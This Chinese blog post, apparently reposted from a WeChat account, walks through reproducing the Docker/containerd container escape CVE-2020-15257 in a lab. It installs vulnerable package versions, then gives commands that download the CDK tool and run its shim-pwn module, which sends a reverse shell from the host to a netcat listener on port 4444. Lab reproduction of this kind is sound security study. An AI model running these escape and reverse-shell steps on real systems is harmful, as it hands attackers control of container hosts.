Docker容器逃逸漏洞 (CVE-2020-15257)的复现

admin 2021年12月23日02:54:21评论299 views字数 1196阅读3分59秒阅读模式

上周虽然给HELK开了个头,但是发现实用性根本不强,暂时作罢,

最近对容器的攻击防护比较上心,本周先实践个Docker容器逃逸漏洞 (CVE-2020-15257)的复现吧,

宿主机ubuntu18.04,安装docker-ce,别安装docker.io,

从download.docker.com安装,

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg,

echo
  "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null,

sudo apt-get update,

查看docker-ce可安装的版本,apt-cache madison docker-ce,

Docker容器逃逸漏洞 (CVE-2020-15257)的复现

查看containerd.io可安装的版本,apt-cache madison containerd.io,

Docker容器逃逸漏洞 (CVE-2020-15257)的复现

指定有漏洞的版本安装,sudo apt-get install docker-ce=5:19.03.10~3-0~ubuntu-bionic docker-ce-cli=5:19.03.10~3-0~ubuntu-bionic containerd.io=1.3.7-1,

sudo systemctl enable docker,
sudo gpasswd -a ubuntu docker,
newgrp docker,

启动容器靶机docker run -it --net=host ubuntu:18.04 /bin/bash,

启动后单独新开个shell窗口,安装nc软件,

apt update,apt install netcat,启动nc监听,nc -lvp 4444,

再回到开始的shell窗口,安装wget软件,

apt install wget,下载cdk,

wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz,

解压执行,tar -zxvf cdk_v0.1.6_release.tar.gz,

./cdk_linux_amd64 run shim-pwn 10.90.11.161 4444,

再看做nc监听那个shell窗口,宿主机的shell这就过来了,

Docker容器逃逸漏洞 (CVE-2020-15257)的复现

逃逸完成。

本文始发于微信公众号(云计算和网络安全技术实践):Docker容器逃逸漏洞 (CVE-2020-15257)的复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月23日02:54:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Docker容器逃逸漏洞 (CVE-2020-15257)的复现https://cn-sec.com/archives/459372.html

发表评论

匿名网友 填写信息